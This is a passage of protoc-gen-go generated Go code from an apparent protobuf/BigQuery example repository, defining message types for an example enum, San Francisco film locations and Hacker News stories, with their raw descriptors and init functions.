google.type.DateTime 111 | 1, // [1:1] is the sub-list for method output_type 112 | 1, // [1:1] is the sub-list for method input_type 113 | 1, // [1:1] is the sub-list for extension type_name 114 | 1, // [1:1] is the sub-list for extension extendee 115 | 0, // [0:1] is the sub-list for field type_name 116 | } 117 | 118 | func init() { file_einride_bigquery_example_v1_example_datetime_proto_init() } 119 | func file_einride_bigquery_example_v1_example_datetime_proto_init() { 120 | if File_einride_bigquery_example_v1_example_datetime_proto != nil { 121 | return 122 | } 123 | type x struct{} 124 | out := protoimpl.TypeBuilder{ 125 | File: protoimpl.DescBuilder{ 126 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 127 | RawDescriptor: file_einride_bigquery_example_v1_example_datetime_proto_rawDesc, 128 | NumEnums: 0, 129 | NumMessages: 1, 130 | NumExtensions: 0, 131 | NumServices: 0, 132 | }, 133 | GoTypes: file_einride_bigquery_example_v1_example_datetime_proto_goTypes, 134 | DependencyIndexes: file_einride_bigquery_example_v1_example_datetime_proto_depIdxs, 135 | MessageInfos: file_einride_bigquery_example_v1_example_datetime_proto_msgTypes, 136 | }.Build() 137 | File_einride_bigquery_example_v1_example_datetime_proto = out.File 138 | file_einride_bigquery_example_v1_example_datetime_proto_rawDesc = nil 139 | file_einride_bigquery_example_v1_example_datetime_proto_goTypes = nil 140 | file_einride_bigquery_example_v1_example_datetime_proto_depIdxs = nil 141 | } 142 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/bigquery/example/v1/example_enum.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/bigquery/example/v1/example_enum.proto 6 | 7 | package examplev1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | type ExampleEnum_Enum int32 24 | 25 | const ( 26 | ExampleEnum_ENUM_UNSPECIFIED ExampleEnum_Enum = 0 27 | ExampleEnum_ENUM_VALUE1 ExampleEnum_Enum = 1 28 | ExampleEnum_ENUM_VALUE2 ExampleEnum_Enum = 2 29 | ) 30 | 31 | // Enum value maps for ExampleEnum_Enum. 32 | var ( 33 | ExampleEnum_Enum_name = map[int32]string{ 34 | 0: "ENUM_UNSPECIFIED", 35 | 1: "ENUM_VALUE1", 36 | 2: "ENUM_VALUE2", 37 | } 38 | ExampleEnum_Enum_value = map[string]int32{ 39 | "ENUM_UNSPECIFIED": 0, 40 | "ENUM_VALUE1": 1, 41 | "ENUM_VALUE2": 2, 42 | } 43 | ) 44 | 45 | func (x ExampleEnum_Enum) Enum() *ExampleEnum_Enum { 46 | p := new(ExampleEnum_Enum) 47 | *p = x 48 | return p 49 | } 50 | 51 | func (x ExampleEnum_Enum) String() string { 52 | return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) 53 | } 54 | 55 | func (ExampleEnum_Enum) Descriptor() protoreflect.EnumDescriptor { 56 | return file_einride_bigquery_example_v1_example_enum_proto_enumTypes[0].Descriptor() 57 | } 58 | 59 | func (ExampleEnum_Enum) Type() protoreflect.EnumType { 60 | return &file_einride_bigquery_example_v1_example_enum_proto_enumTypes[0] 61 | } 62 | 63 | func (x ExampleEnum_Enum) Number() protoreflect.EnumNumber { 64 | return protoreflect.EnumNumber(x) 65 | } 66 | 67 | // Deprecated: Use ExampleEnum_Enum.Descriptor instead. 68 | func (ExampleEnum_Enum) EnumDescriptor() ([]byte, []int) { 69 | return file_einride_bigquery_example_v1_example_enum_proto_rawDescGZIP(), []int{0, 0} 70 | } 71 | 72 | type ExampleEnum struct { 73 | state protoimpl.MessageState 74 | sizeCache protoimpl.SizeCache 75 | unknownFields protoimpl.UnknownFields 76 | 77 | EnumValue ExampleEnum_Enum `protobuf:"varint,1,opt,name=enum_value,json=enumValue,proto3,enum=einride.bigquery.example.v1.ExampleEnum_Enum" json:"enum_value,omitempty"` 78 | } 79 | 80 | func (x *ExampleEnum) Reset() { 81 | *x = ExampleEnum{} 82 | mi := &file_einride_bigquery_example_v1_example_enum_proto_msgTypes[0] 83 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 84 | ms.StoreMessageInfo(mi) 85 | } 86 | 87 | func (x *ExampleEnum) String() string { 88 | return protoimpl.X.MessageStringOf(x) 89 | } 90 | 91 | func (*ExampleEnum) ProtoMessage() {} 92 | 93 | func (x *ExampleEnum) ProtoReflect() protoreflect.Message { 94 | mi := &file_einride_bigquery_example_v1_example_enum_proto_msgTypes[0] 95 | if x != nil { 96 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 97 | if ms.LoadMessageInfo() == nil { 98 | ms.StoreMessageInfo(mi) 99 | } 100 | return ms 101 | } 102 | return mi.MessageOf(x) 103 | } 104 | 105 | // Deprecated: Use ExampleEnum.ProtoReflect.Descriptor instead. 106 | func (*ExampleEnum) Descriptor() ([]byte, []int) { 107 | return file_einride_bigquery_example_v1_example_enum_proto_rawDescGZIP(), []int{0} 108 | } 109 | 110 | func (x *ExampleEnum) GetEnumValue() ExampleEnum_Enum { 111 | if x != nil { 112 | return x.EnumValue 113 | } 114 | return ExampleEnum_ENUM_UNSPECIFIED 115 | } 116 | 117 | var File_einride_bigquery_example_v1_example_enum_proto protoreflect.FileDescriptor 118 | 119 | var file_einride_bigquery_example_v1_example_enum_proto_rawDesc = []byte{ 120 | 0x0a, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 121 | 0x72, 0x79, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2f, 0x76, 0x31, 0x2f, 0x65, 0x78, 122 | 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x5f, 0x65, 0x6e, 0x75, 0x6d, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 123 | 0x12, 0x1b, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 124 | 0x72, 0x79, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x22, 0x9b, 0x01, 125 | 0x0a, 0x0b, 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x45, 0x6e, 0x75, 0x6d, 0x12, 0x4c, 0x0a, 126 | 0x0a, 0x65, 0x6e, 0x75, 0x6d, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 127 | 0x0e, 0x32, 0x2d, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x62, 0x69, 0x67, 0x71, 128 | 0x75, 0x65, 0x72, 0x79, 0x2e, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x76, 0x31, 0x2e, 129 | 0x45, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x45, 0x6e, 0x75, 0x6d, 0x2e, 0x45, 0x6e, 0x75, 0x6d, 130 | 0x52, 0x09, 0x65, 0x6e, 0x75, 0x6d, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x3e, 0x0a, 0x04, 0x45, 131 | 0x6e, 0x75, 0x6d, 0x12, 0x14, 0x0a, 0x10, 0x45, 0x4e, 0x55, 0x4d, 0x5f, 0x55, 0x4e, 0x53, 0x50, 132 | 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x45, 0x4e, 0x55, 133 | 0x4d, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x31, 0x10, 0x01, 0x12, 0x0f, 0x0a, 0x0b, 0x45, 0x4e, 134 | 0x55, 0x4d, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x32, 0x10, 0x02, 0x42, 0x61, 0x5a, 0x5f, 0x67, 135 | 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 136 | 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 137 | 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 138 | 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 139 | 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 140 | 0x65, 0x2f, 0x76, 0x31, 0x3b, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x76, 0x31, 0x62, 0x06, 141 | 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 142 | } 143 | 144 | var ( 145 | file_einride_bigquery_example_v1_example_enum_proto_rawDescOnce sync.Once 146 | file_einride_bigquery_example_v1_example_enum_proto_rawDescData = file_einride_bigquery_example_v1_example_enum_proto_rawDesc 147 | ) 148 | 149 | func file_einride_bigquery_example_v1_example_enum_proto_rawDescGZIP() []byte { 150 | file_einride_bigquery_example_v1_example_enum_proto_rawDescOnce.Do(func() { 151 | file_einride_bigquery_example_v1_example_enum_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_bigquery_example_v1_example_enum_proto_rawDescData) 152 | }) 153 | return file_einride_bigquery_example_v1_example_enum_proto_rawDescData 154 | } 155 | 156 | var file_einride_bigquery_example_v1_example_enum_proto_enumTypes = make([]protoimpl.EnumInfo, 1) 157 | var file_einride_bigquery_example_v1_example_enum_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 158 | var file_einride_bigquery_example_v1_example_enum_proto_goTypes = []any{ 159 | (ExampleEnum_Enum)(0), // 0: einride.bigquery.example.v1.ExampleEnum.Enum 160 | (*ExampleEnum)(nil), // 1: einride.bigquery.example.v1.ExampleEnum 161 | } 162 | var file_einride_bigquery_example_v1_example_enum_proto_depIdxs = []int32{ 163 | 0, // 0: einride.bigquery.example.v1.ExampleEnum.enum_value:type_name -> einride.bigquery.example.v1.ExampleEnum.Enum 164 | 1, // [1:1] is the sub-list for method output_type 165 | 1, // [1:1] is the sub-list for method input_type 166 | 1, // [1:1] is the sub-list for extension type_name 167 | 1, // [1:1] is the sub-list for extension extendee 168 | 0, // [0:1] is the sub-list for field type_name 169 | } 170 | 171 | func init() { file_einride_bigquery_example_v1_example_enum_proto_init() } 172 | func file_einride_bigquery_example_v1_example_enum_proto_init() { 173 | if File_einride_bigquery_example_v1_example_enum_proto != nil { 174 | return 175 | } 176 | type x struct{} 177 | out := protoimpl.TypeBuilder{ 178 | File: protoimpl.DescBuilder{ 179 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 180 | RawDescriptor: file_einride_bigquery_example_v1_example_enum_proto_rawDesc, 181 | NumEnums: 1, 182 | NumMessages: 1, 183 | NumExtensions: 0, 184 | NumServices: 0, 185 | }, 186 | GoTypes: file_einride_bigquery_example_v1_example_enum_proto_goTypes, 187 | DependencyIndexes: file_einride_bigquery_example_v1_example_enum_proto_depIdxs, 188 | EnumInfos: file_einride_bigquery_example_v1_example_enum_proto_enumTypes, 189 | MessageInfos: file_einride_bigquery_example_v1_example_enum_proto_msgTypes, 190 | }.Build() 191 | File_einride_bigquery_example_v1_example_enum_proto = out.File 192 | file_einride_bigquery_example_v1_example_enum_proto_rawDesc = nil 193 | file_einride_bigquery_example_v1_example_enum_proto_goTypes = nil 194 | file_einride_bigquery_example_v1_example_enum_proto_depIdxs = nil 195 | } 196 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/bigquery/public/v1/film_location.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/bigquery/public/v1/film_location.proto 6 | 7 | package publicv1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | reflect "reflect" 13 | sync "sync" 14 | ) 15 | 16 | const ( 17 | // Verify that this generated code is sufficiently up-to-date. 18 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 19 | // Verify that runtime/protoimpl is sufficiently up-to-date. 20 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 21 | ) 22 | 23 | // Protobuf schema for the BigQuery public table: 24 | // 25 | // bigquery-public-data.san_francisco_film_locations.film_locations 26 | type FilmLocation struct { 27 | state protoimpl.MessageState 28 | sizeCache protoimpl.SizeCache 29 | unknownFields protoimpl.UnknownFields 30 | 31 | Title string `protobuf:"bytes,1,opt,name=title,proto3" json:"title,omitempty"` // STRING NULLABLE 32 | ReleaseYear int64 `protobuf:"varint,2,opt,name=release_year,json=releaseYear,proto3" json:"release_year,omitempty"` // INTEGER NULLABLE 33 | Locations string `protobuf:"bytes,3,opt,name=locations,proto3" json:"locations,omitempty"` // STRING NULLABLE 34 | FunFacts string `protobuf:"bytes,4,opt,name=fun_facts,json=funFacts,proto3" json:"fun_facts,omitempty"` // STRING NULLABLE 35 | ProductionCompany string `protobuf:"bytes,5,opt,name=production_company,json=productionCompany,proto3" json:"production_company,omitempty"` // STRING NULLABLE 36 | Distributor string `protobuf:"bytes,6,opt,name=distributor,proto3" json:"distributor,omitempty"` // STRING NULLABLE 37 | Director string `protobuf:"bytes,7,opt,name=director,proto3" json:"director,omitempty"` // STRING NULLABLE 38 | Writer string `protobuf:"bytes,8,opt,name=writer,proto3" json:"writer,omitempty"` // STRING NULLABLE 39 | Actor_1 string `protobuf:"bytes,9,opt,name=actor_1,json=actor1,proto3" json:"actor_1,omitempty"` // STRING NULLABLE 40 | Actor_2 string `protobuf:"bytes,10,opt,name=actor_2,json=actor2,proto3" json:"actor_2,omitempty"` // STRING NULLABLE 41 | Actor_3 string `protobuf:"bytes,11,opt,name=actor_3,json=actor3,proto3" json:"actor_3,omitempty"` // STRING NULLABLE 42 | } 43 | 44 | func (x *FilmLocation) Reset() { 45 | *x = FilmLocation{} 46 | mi := &file_einride_bigquery_public_v1_film_location_proto_msgTypes[0] 47 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 48 | ms.StoreMessageInfo(mi) 49 | } 50 | 51 | func (x *FilmLocation) String() string { 52 | return protoimpl.X.MessageStringOf(x) 53 | } 54 | 55 | func (*FilmLocation) ProtoMessage() {} 56 | 57 | func (x *FilmLocation) ProtoReflect() protoreflect.Message { 58 | mi := &file_einride_bigquery_public_v1_film_location_proto_msgTypes[0] 59 | if x != nil { 60 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 61 | if ms.LoadMessageInfo() == nil { 62 | ms.StoreMessageInfo(mi) 63 | } 64 | return ms 65 | } 66 | return mi.MessageOf(x) 67 | } 68 | 69 | // Deprecated: Use FilmLocation.ProtoReflect.Descriptor instead. 70 | func (*FilmLocation) Descriptor() ([]byte, []int) { 71 | return file_einride_bigquery_public_v1_film_location_proto_rawDescGZIP(), []int{0} 72 | } 73 | 74 | func (x *FilmLocation) GetTitle() string { 75 | if x != nil { 76 | return x.Title 77 | } 78 | return "" 79 | } 80 | 81 | func (x *FilmLocation) GetReleaseYear() int64 { 82 | if x != nil { 83 | return x.ReleaseYear 84 | } 85 | return 0 86 | } 87 | 88 | func (x *FilmLocation) GetLocations() string { 89 | if x != nil { 90 | return x.Locations 91 | } 92 | return "" 93 | } 94 | 95 | func (x *FilmLocation) GetFunFacts() string { 96 | if x != nil { 97 | return x.FunFacts 98 | } 99 | return "" 100 | } 101 | 102 | func (x *FilmLocation) GetProductionCompany() string { 103 | if x != nil { 104 | return x.ProductionCompany 105 | } 106 | return "" 107 | } 108 | 109 | func (x *FilmLocation) GetDistributor() string { 110 | if x != nil { 111 | return x.Distributor 112 | } 113 | return "" 114 | } 115 | 116 | func (x *FilmLocation) GetDirector() string { 117 | if x != nil { 118 | return x.Director 119 | } 120 | return "" 121 | } 122 | 123 | func (x *FilmLocation) GetWriter() string { 124 | if x != nil { 125 | return x.Writer 126 | } 127 | return "" 128 | } 129 | 130 | func (x *FilmLocation) GetActor_1() string { 131 | if x != nil { 132 | return x.Actor_1 133 | } 134 | return "" 135 | } 136 | 137 | func (x *FilmLocation) GetActor_2() string { 138 | if x != nil { 139 | return x.Actor_2 140 | } 141 | return "" 142 | } 143 | 144 | func (x *FilmLocation) GetActor_3() string { 145 | if x != nil { 146 | return x.Actor_3 147 | } 148 | return "" 149 | } 150 | 151 | var File_einride_bigquery_public_v1_film_location_proto protoreflect.FileDescriptor 152 | 153 | var file_einride_bigquery_public_v1_film_location_proto_rawDesc = []byte{ 154 | 0x0a, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 155 | 0x72, 0x79, 0x2f, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2f, 0x76, 0x31, 0x2f, 0x66, 0x69, 0x6c, 156 | 0x6d, 0x5f, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 157 | 0x12, 0x1a, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 158 | 0x72, 0x79, 0x2e, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2e, 0x76, 0x31, 0x22, 0xd2, 0x02, 0x0a, 159 | 0x0c, 0x46, 0x69, 0x6c, 0x6d, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 160 | 0x05, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x69, 161 | 0x74, 0x6c, 0x65, 0x12, 0x21, 0x0a, 0x0c, 0x72, 0x65, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x5f, 0x79, 162 | 0x65, 0x61, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x72, 0x65, 0x6c, 0x65, 0x61, 163 | 0x73, 0x65, 0x59, 0x65, 0x61, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 164 | 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x6c, 0x6f, 0x63, 0x61, 0x74, 165 | 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x0a, 0x09, 0x66, 0x75, 0x6e, 0x5f, 0x66, 0x61, 0x63, 0x74, 166 | 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x66, 0x75, 0x6e, 0x46, 0x61, 0x63, 0x74, 167 | 0x73, 0x12, 0x2d, 0x0a, 0x12, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 168 | 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x6e, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x70, 169 | 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6e, 0x79, 170 | 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x69, 0x73, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x6f, 0x72, 0x18, 171 | 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x69, 0x73, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 172 | 0x6f, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x18, 0x07, 173 | 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x12, 0x16, 174 | 0x0a, 0x06, 0x77, 0x72, 0x69, 0x74, 0x65, 0x72, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 175 | 0x77, 0x72, 0x69, 0x74, 0x65, 0x72, 0x12, 0x17, 0x0a, 0x07, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x5f, 176 | 0x31, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x31, 0x12, 177 | 0x17, 0x0a, 0x07, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x5f, 0x32, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 178 | 0x52, 0x06, 0x61, 0x63, 0x74, 0x6f, 0x72, 0x32, 0x12, 0x17, 0x0a, 0x07, 0x61, 0x63, 0x74, 0x6f, 179 | 0x72, 0x5f, 0x33, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x61, 0x63, 0x74, 0x6f, 0x72, 180 | 0x33, 0x42, 0x5f, 0x5a, 0x5d, 0x67, 0x6f, 0x2e, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 181 | 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 182 | 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 183 | 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 184 | 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2f, 185 | 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2f, 0x76, 0x31, 0x3b, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 186 | 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, 187 | } 188 | 189 | var ( 190 | file_einride_bigquery_public_v1_film_location_proto_rawDescOnce sync.Once 191 | file_einride_bigquery_public_v1_film_location_proto_rawDescData = file_einride_bigquery_public_v1_film_location_proto_rawDesc 192 | ) 193 | 194 | func file_einride_bigquery_public_v1_film_location_proto_rawDescGZIP() []byte { 195 | file_einride_bigquery_public_v1_film_location_proto_rawDescOnce.Do(func() { 196 | file_einride_bigquery_public_v1_film_location_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_bigquery_public_v1_film_location_proto_rawDescData) 197 | }) 198 | return file_einride_bigquery_public_v1_film_location_proto_rawDescData 199 | } 200 | 201 | var file_einride_bigquery_public_v1_film_location_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 202 | var file_einride_bigquery_public_v1_film_location_proto_goTypes = []any{ 203 | (*FilmLocation)(nil), // 0: einride.bigquery.public.v1.FilmLocation 204 | } 205 | var file_einride_bigquery_public_v1_film_location_proto_depIdxs = []int32{ 206 | 0, // [0:0] is the sub-list for method output_type 207 | 0, // [0:0] is the sub-list for method input_type 208 | 0, // [0:0] is the sub-list for extension type_name 209 | 0, // [0:0] is the sub-list for extension extendee 210 | 0, // [0:0] is the sub-list for field type_name 211 | } 212 | 213 | func init() { file_einride_bigquery_public_v1_film_location_proto_init() } 214 | func file_einride_bigquery_public_v1_film_location_proto_init() { 215 | if File_einride_bigquery_public_v1_film_location_proto != nil { 216 | return 217 | } 218 | type x struct{} 219 | out := protoimpl.TypeBuilder{ 220 | File: protoimpl.DescBuilder{ 221 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 222 | RawDescriptor: file_einride_bigquery_public_v1_film_location_proto_rawDesc, 223 | NumEnums: 0, 224 | NumMessages: 1, 225 | NumExtensions: 0, 226 | NumServices: 0, 227 | }, 228 | GoTypes: file_einride_bigquery_public_v1_film_location_proto_goTypes, 229 | DependencyIndexes: file_einride_bigquery_public_v1_film_location_proto_depIdxs, 230 | MessageInfos: file_einride_bigquery_public_v1_film_location_proto_msgTypes, 231 | }.Build() 232 | File_einride_bigquery_public_v1_film_location_proto = out.File 233 | file_einride_bigquery_public_v1_film_location_proto_rawDesc = nil 234 | file_einride_bigquery_public_v1_film_location_proto_goTypes = nil 235 | file_einride_bigquery_public_v1_film_location_proto_depIdxs = nil 236 | } 237 | -------------------------------------------------------------------------------- /internal/examples/proto/gen/einride/bigquery/public/v1/hacker_news_story.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // versions: 3 | // protoc-gen-go v1.35.2 4 | // protoc (unknown) 5 | // source: einride/bigquery/public/v1/hacker_news_story.proto 6 | 7 | package publicv1 8 | 9 | import ( 10 | protoreflect "google.golang.org/protobuf/reflect/protoreflect" 11 | protoimpl "google.golang.org/protobuf/runtime/protoimpl" 12 | timestamppb "google.golang.org/protobuf/types/known/timestamppb" 13 | reflect "reflect" 14 | sync "sync" 15 | ) 16 | 17 | const ( 18 | // Verify that this generated code is sufficiently up-to-date. 19 | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) 20 | // Verify that runtime/protoimpl is sufficiently up-to-date. 21 | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) 22 | ) 23 | 24 | // Protobuf schema for the BigQuery public table: 25 | // 26 | // bigquery-public-data.hacker_news.stories 27 | type HackerNewsStory struct { 28 | state protoimpl.MessageState 29 | sizeCache protoimpl.SizeCache 30 | unknownFields protoimpl.UnknownFields 31 | 32 | Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` // INTEGER NULLABLE 33 | By string `protobuf:"bytes,2,opt,name=by,proto3" json:"by,omitempty"` // STRING NULLABLE 34 | Score int32 `protobuf:"varint,3,opt,name=score,proto3" json:"score,omitempty"` // INTEGER NULLABLE 35 | Time int64 `protobuf:"varint,4,opt,name=time,proto3" json:"time,omitempty"` // INTEGER NULLABLE 36 | TimeTs *timestamppb.Timestamp `protobuf:"bytes,5,opt,name=time_ts,json=timeTs,proto3" json:"time_ts,omitempty"` // TIMESTAMP NULLABLE 37 | Title string `protobuf:"bytes,6,opt,name=title,proto3" json:"title,omitempty"` // STRING NULLABLE 38 | Url string `protobuf:"bytes,7,opt,name=url,proto3" json:"url,omitempty"` // STRING NULLABLE 39 | Text string `protobuf:"bytes,8,opt,name=text,proto3" json:"text,omitempty"` // STRING NULLABLE 40 | Deleted bool `protobuf:"varint,9,opt,name=deleted,proto3" json:"deleted,omitempty"` // BOOLEAN NULLABLE 41 | Dead bool `protobuf:"varint,10,opt,name=dead,proto3" json:"dead,omitempty"` // BOOLEAN NULLABLE 42 | Descendants int32 `protobuf:"varint,11,opt,name=descendants,proto3" json:"descendants,omitempty"` // INTEGER NULLABLE 43 | Author string `protobuf:"bytes,12,opt,name=author,proto3" json:"author,omitempty"` // STRING NULLABLE 44 | } 45 | 46 | func (x *HackerNewsStory) Reset() { 47 | *x = HackerNewsStory{} 48 | mi := &file_einride_bigquery_public_v1_hacker_news_story_proto_msgTypes[0] 49 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 50 | ms.StoreMessageInfo(mi) 51 | } 52 | 53 | func (x *HackerNewsStory) String() string { 54 | return protoimpl.X.MessageStringOf(x) 55 | } 56 | 57 | func (*HackerNewsStory) ProtoMessage() {} 58 | 59 | func (x *HackerNewsStory) ProtoReflect() protoreflect.Message { 60 | mi := &file_einride_bigquery_public_v1_hacker_news_story_proto_msgTypes[0] 61 | if x != nil { 62 | ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 63 | if ms.LoadMessageInfo() == nil { 64 | ms.StoreMessageInfo(mi) 65 | } 66 | return ms 67 | } 68 | return mi.MessageOf(x) 69 | } 70 | 71 | // Deprecated: Use HackerNewsStory.ProtoReflect.Descriptor instead. 72 | func (*HackerNewsStory) Descriptor() ([]byte, []int) { 73 | return file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescGZIP(), []int{0} 74 | } 75 | 76 | func (x *HackerNewsStory) GetId() int64 { 77 | if x != nil { 78 | return x.Id 79 | } 80 | return 0 81 | } 82 | 83 | func (x *HackerNewsStory) GetBy() string { 84 | if x != nil { 85 | return x.By 86 | } 87 | return "" 88 | } 89 | 90 | func (x *HackerNewsStory) GetScore() int32 { 91 | if x != nil { 92 | return x.Score 93 | } 94 | return 0 95 | } 96 | 97 | func (x *HackerNewsStory) GetTime() int64 { 98 | if x != nil { 99 | return 